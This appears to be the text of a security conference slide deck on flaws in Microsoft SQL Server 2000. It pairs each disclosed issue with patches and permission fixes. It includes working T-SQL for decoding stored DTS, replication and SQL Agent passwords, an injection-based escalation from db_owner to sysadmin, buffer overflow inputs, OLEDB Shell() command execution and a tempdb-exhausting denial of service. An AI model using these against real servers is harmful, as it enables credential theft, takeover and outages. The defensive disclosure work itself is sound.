

Hunting flaws in Microsoft SQL Server

Cesar Cerrudo

Independent Security Researcher

Aaron Newman

CTO/Founder, Application Security, Inc.

www.appsecinc.com



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Outline

- Collecting passwords
- Elevating privileges
- Owning the system
- Denial of Service attacks
- Resources, Conclusion, and Wrap Up



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Collecting Passwords



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Using Mixed Mode Authentication

- Passwords saved weakly encrypted
 - Encryption is really just encoding - no secret key
 - If you know the algorithm, you can decode
 - Saved in tables, registry, etc...
- Why are they saved with weak encryption?
 - Must be extracted and used later for authentication
- The problem
 - Passwords are saved in tables with weak permissions
 - Stored procs with weak permissions return passwords
 - Passwords saved in registry with weak permissions



DTS packages

- Can be stored in several formats
 - SQL Server, Meta Data Services
 - Structured Storage File, Visual Basic File
- When saved in SQL Server or Meta Data Services
 - All the DTS information is saved in tables
 - Stored in msdb system database
 - Saved information includes connection passwords!!!
- DTS package can have 2 different passwords
 - Passwords used by package to connect to datasources
 - Password to encrypt the package



Saving DTS packages in SQL Server

- When DTS Package is saved in SQL Server
 - Encoded using proprietary algorithm
 - Stored in msdb.dbo.sysdtspackages system table
- Default access controls on the table sysdtspackages
 - Only dbo/sysadmins can select from the table
- Stored procedures that access sysdtspackages
 - msdb.dbo.sp_enum_dtspackages
 - msdb.dbo.sp_get_dtspackage
 - EXECUTE permissions granted to public on these procs
 - Procedures can be used to retrieve encoded passwords



Uncovering passwords in sysdtspackages

- Get the DTS package data
- Insert into another SQL Server Instance
- Open DTS package in Enterprise Manager
- Decoding the passwords
 - Read passwords from memory
 - Run package and sniff password off network
- Brute-force the DTS package if password-protected



Fix for sysdtspackages

- Use strong passwords on DTS packages



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Saving DTS packages in Meta Data Services

- DTS Package information is saved in several tables
- Connection passwords are saved in clear text in `msdb.dbo.rtbldmbprops`
- Default access control on `msdb.dbo.RTb1DBMprops`
 - SELECT permissions granted to public
 - Cleartext password can be SELECTed by any user
- Select the cleartext password
 - Select * from `msdb.dbo.RTb1DBMProps`
 - Password contained in field “11120”



Fix for RTblDBMProps

- Revoke select permissions from this table
- From SQL Query Analyzer
 - revoke select
 - on msdb.dbo.RTblDBMProps
 - from public
- Do not store DTS packages in Meta Data Services
- DTS packages can not be stored in Meta Data Services by default in SP3
 - The option must be enabled via registry key



Replication

- Allows data to be sync'ed with remote SQL Server
- If you –
 - Log in with Enterprise Manager using SQL authentication
 - Create a subscription
 - Set to use Windows Synchronization Manager for synchronization
- Then –
 - Windows Synchronization Manger will use SQL authentication by default
 - Login password will be stored in the registry (encoded)
 - Everyone will have read permission on key



Saving password in registry

- A new registry key is created under
 - HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\80\Replication\Subscriptions
- Name of the new key
 - Publisher:PublisherDb:Publication:Subscriber:SubscriberDb
- Encoded password saved in value named
 - SubscriberEncryptedPasswordBinary



Uncovering replication passwords

- Extract the password from the registry
 - EXEC master.dbo.xp_regread
@rootkey='HKEY_LOCAL_MACHINE',
- @key= 'SOFTWARE\Microsoft\Microsoft SQL
Server\80\Replication\Subscriptions\',
@value_name=
- 'SubscriberEncryptedPasswordBinary'
- Decode the password:
 - declare @password nvarchar(524)
 - set @password=encryptedpasswordgoeshere
 - exec xp_repl_help_connect @password OUTPUT
 - select @password



Fix for registry passwords

- Apply Service Pack 3
 - Login password are not saved in the registry anymore
 - Windows Synchronization Manager will ask for passwords every time it synchronizes, if it was set to use SQL Authentication.
- Revoke execute permissions from xp_regread
- From SQL Query Analyzer
 - `revoke execute`
 - `on master.dbo.xp_regread`
 - `from public`



SQL Agent

- Used to run jobs and perform maintenance tasks on a scheduled tasks
- If you -
 - Configured SQL Agent to connect using SQL Server authentication
- Then -
 - A sysadmin login and password must be recorded
 - The password is saved encoded in LSA secrets key
 - SQL Agent must run under Windows administrative account to retrieve password from LSA secrets key



LSA secret keys

- Permissions on these keys are locked down
 - Only LocalSystem and Administrators can access
- If SQL Server service is running as an administrative account
 - msdb.dbo.sp_get_sqlagent_properties can retrieve values from the registry
 - Execute permissions granted to public on this proc



Uncovering SQL Agent passwords

- Proc `sp_get_sqlagent_properties` can be used by anyone to uncover password
- Retrieve the encoded password
 - `exec msdb.dbo.sp_get_sqlagent_properties`
- Crack it using chosen plain-text attack
- Decode with `decrypt()` function in `semcomn.dll`
 - Located in `SqlServerInstance\Binn` folder
 - Thanks Jimmers for find this function
 - <http://jimmers.narod.ru>



Fix for SQL Agent passwords

- Use Windows authentication to login the SQL Agent
- Revoke execute from `sp_get_sqlagent_properties`
- From SQL Query Analyzer
 - `revoke execute`
 - `on msdb.dbo.sp_get_sqlagent_properties`
 - `from public`
- Apply Service Pack 3
 - Stored procedure only returns passwords for sysadmins



Elevating privileges



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Temporary Global Stored Procedures

- Can be created by any user
- Can be execute by all users
- Can be altered, dropped, etc... by any user without restrictions
- Excellent opportunity to insert Trojan code.



Inserting the Trojan code

- Search for temporary global stored procedures
 - `select name`
 - `from tempdb..sysobjects`
 - `where name like '##%'`
- Modify global temp
 - `alter proc ##<name> as`
 - `<original code here>`
 - `<trojan code here>`
- Wait for privileged user to execute



Fix for global temp stored procedure

- Not considered a vulnerability by Microsoft
- Works as designed
- Conclusion – BAD DESIGN!!!!
- Work-around
 - Avoid using temporary global stored procedures



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Views and stored procedures

- Object such as stored procedures and views can references other objects
- If object owner of both objects are the same
 - Permissions are not checked on the referenced objects
 - SQL Server assumes object owner would not reference objects that unless owner meant it
- Referred to as ownership chaining



Cross-database ownership

- If sa login is the database owner of a database, then sa login is mapped to the dbo user
- All users granted the db_owner role can create objects and designate them as owned by dbo
- What happens when
 - A view or stored procedure references object in a different database
 - View or procedure is owned by dbo
 - Object is owned by a different dbo in a different database



Cross-database ownership

- Test this concept

```
use testdatabase
create proc dbo.test as
    select * from master.dbo.sysxlogins
go
exec test
```

- Guess what – it works!!!
- Retrieves sysxlogin from master database



Why does this work?

- SQL Server performs access control by
 - Checking permissions on stored procedures first
 - Gets the SID (0x01 *sa* SID) of the user (*dbo*) in the current database that owns the stored procedure
 - Compares the SID with the SIDs of the owners of the objects referenced in the stored procedure
- Because the SID of the owner of the stored procedure match the SID of the owner of the objects referenced in the stored procedure - it works!!!



Why does this work?

- Access controls not designed to handle a user:
 - Granted the *db_owner* role but is not the *dbo*
 - Is not a member of *sysadmin* role
 - That creates a stored procedure as the *dbo* user
 - Doesn't have permissions in objects referenced in the SP
- Applies to *views*, *triggers* and *user defined functions*
- Any *db_owner* can impersonate *sa* when *sa* is *dbo*
- Also works when using Windows Authentication



Database owner becoming sysadmin

- Create a view to modify *sysxlogins*
 - `exec sp_executesql`
 - `N'create view dbo.test as`
 - `select * from master.dbo.sysxlogins'`
- Exploits SQL injection in `sp_msdropretry` to write system tables (discovered by Chris Anley)
- Set SID to 0x01
 - `exec sp_msdropretry`
 - `'xx update sysusers set sid=0x01 where name= ''dbo''', 'xx'`



Database owner becoming sysadmin (cont)

- Set xstatus field to 18 (sysadmin)
 - `exec sp_msdropretry`
 - `'xx update dbo.test set xstatus=18 where name= SUSER_SNAME() ', 'xx'`
- Return state back to before the hack
 - `exec sp_executesql N'drop view dbo.test'`
 - `exec sp_msdropretry 'xx update sysusers set sid=SUSER_SID('DbOwnerLogin') where name= ''dbo'' ', 'xx'`



Other vulnerable fixed-database roles

- Previous attack can be performed by
 - db_securityadmin
 - db_datawriter
- db_securityadmin can grant write on any table
- db_datawriter has write permissions to all tables



Fix for cross-database ownership

- SQL Server service pack 3 new server option
 - “Allow cross-database ownership chaining”
- Option disabled by default installing SP3
- Can be enabled later:

```
exec sp_configure  
    'Cross DB Ownership Chaining', '1'
```



Fix for cross-database ownership

- Option can be set per database
 - `exec sp_dboption`
 - `'databasename', 'db chaning', 'true'`
- Revoke execute on `sp_MSdropretry`
 - From SQL Query Analyzer
 - `revoke execute`
 - `on master.dbo.sp_MSdropretry`
 - `from public`
- Apply Service Pack 3
 - `sp_MSdropretry` system stored procedure is not vulnerable to SQL injection anymore



Owning the system



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Gaining operating system privileges

- After attacker becomes sysadmin
 - the game is over
- Attacker still needs a way to gain control of the operating system
- Excellent opportunity for exploiting known buffer overflows or other holes
 - If xp_cmdshell & its .dll has been removed



Buffer overflow

- Extended stored procedures don't properly validate input data
- xp_makewebtask
 - Has two parameters FILE and TPLT
 - Are not correctly validated
 - By passing long string to one of these parameters
 - A unicode stack-based overflow occurs
- Exploitable to execute operating system commands



Buffer overflow code sample #1

- First example

- EXECUTE sp_makewebtask
 - @outputfile = 'c:\BLOBSMP.HTM',
 - @query = 'SELECT * FROM publishers ',
 - @webpagetitle = 'Publishers',
 - @resultstitle = 'Title',
 - @whentype = 9,
 - @blobfmt='%1%'
- ```
FILE=C:\XXXXXXXXXXXXXXXXXXXXX...
TPLT=C:\BLOBSMP.TPL %6%
FILE=C:\PUBLOGO.GIF',
• @rowcnt = 2
```



## Buffer overflow code sample #2

- Second example

```
EXECUTE sp_makewebtask
 @outputfile = 'c:\BLOBSMP.HTM',
 @query = 'SELECT * FROM publishers ',
 @webpagetitle = 'Publishers',
 @resultstitle = 'Title',
 @whentype = 9,
 @blobfmt='%1% FILE=C:\BLOBSMP.HTM
TPLT=C:\XXXXXXXXXXXXXXXXX... %6%
FILE=C:\PUBLOGO.GIF',
 @rowcnt = 2
```



## Fix for xp\_makewebtask buffer overflow

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- Apply Service Pack 3
- Buffer overflow fixed in xp\_makewebtask



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# OLEDB providers

- Executes queries against OLEDB providers
  - Using commands `openrowset()` and `opendatasource()`
- Excellent opportunity to exploit known holes
  - `SELECT *`
  - `FROM OPENROWSET (`
  - `'Microsoft.Jet.OLEDB.4.0',`
  - `'C:\database.mdb'; 'ADMIN'; '' ,`
  - `'select *, Shell('<command>')`
  - `from customers' )`
- Failed because Jet Sandbox is enabled
  - Blocks `Shell()` function used outside Microsoft Access.



# OLEDB providers (cont)

- Attempt to use different version of OLEDB provider
- ```
SELECT * FROM OPENROWSET (
```
- ```
 'Microsoft.Jet.OLEDB.3.51',
```
- ```
    'C:\database.mdb'; 'ADMIN'; '', 'select *,
```
- ```
 Shell(' '<command>'')
```
- ```
    from customers' )
```
- Must access a Microsoft Access 97 database
 - Several exist in a Windows 2000 system by default
- Jet Sandbox blocks Jet 4.0 - fails to block Jet 3.51
- The above query works!!!



Fix for OLEDB providers

- Not particularly related to SQL Server
- Result of the JET sandbox which fails to block the shell()function
- No fix available



Gathering service account information

- Useful to know which Windows account SQL Server service runs as
- Helps determine privileges over OS attacker can gain
- *Openrowset()* function returns the Windows account under which SQL Server runs
- Discovered through error messages when executed in a specific way



Querying service account information

- To determine the service account

```
SELECT * FROM OPENROWSET(  
    ('sqloledb', '';;, ''')
```

- Response

```
Msg 18456, Level 14, State 1, Line 1  
Login failed for user 'Administrator'.
```



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Fix for openrowset

- Apply Service Pack 3
- Windows account is not returned in error messages of openrowset() function



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Denial of Service Attacks



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Temporary tables

- Any user can create temporary tables without restrictions
- guest user can't be removed from tempdb system database
- Excellent opportunity for DoS



Filling up tempdb

- The next query will create a temporary table and will run an endless loop inserting values in the table
- After enough time *tempdb* database will consume all system resources
- SQL Server instance will fail or crash

- `create table #tmp`
- `(x varchar(8000))`
- `exec('insert into #tmp select`
`' 'X' '')`
- `while 1=1 exec('insert into #tmp`
`select * from #tmp')`



Fix for tempdb DoS

- Currently no protection against this attack
- Microsoft plans to add protection in future SQL Server release
 - probably in Yukon (SQL Server .NET)
- Workaround
 - Set SQL Server Agent Alerts on unexpected tempdb database grow



Resources, Conclusion, and Wrap Up



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Recommendations

- Keep SQL Server up to date with hot fixes
- Use Windows credentials for authentication
- Disable Cross-Database ownership chaining
- Run SQL Server using non-privileged user
- Set SQL Agent Alerts on critical issues



Recommendations (continued)

- Run periodic checks
 - On all system and non-system object permissions
 - On all tables, views, stored procedures, and extended stored procedures
 - On users permissions
- Audit as often as possible
- And pray ;)



Resources

- Stay patched
 - <http://www.microsoft.com/security>
 - <http://www.microsoft.com/sql>
- Security alerts
 - www.mssqlsecurity.net/resources/maillinglist.html
- Manipulating Microsoft SQL Server Using SQL Injection (by Cesar Cerrudo)
 - <http://www.appsecinc.com/techdocs/whitepapers.html>
- SQL Security information
 - <http://www.appsecinc.com/resources>
 - <http://www.sqlsecurity.com> (Chip Andrews)



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Final Words

- Huge security improvement in SP3
 - Mostly as a result of independent security researchers work
- Still several holes without fixes
- SQL Server 7 seems to be forgotten
 - No fixes yet
 - You must buy SQL Server 2000 ;)
- If you use SQL Server Authentication soon or later you will get hacked.



Questions?

- About
 - SQL Server security features
 - Vulnerabilities
 - Protecting your SQL Server

- Email us at:

sqlsec@yahoo.com

anewman@appsecinc.com



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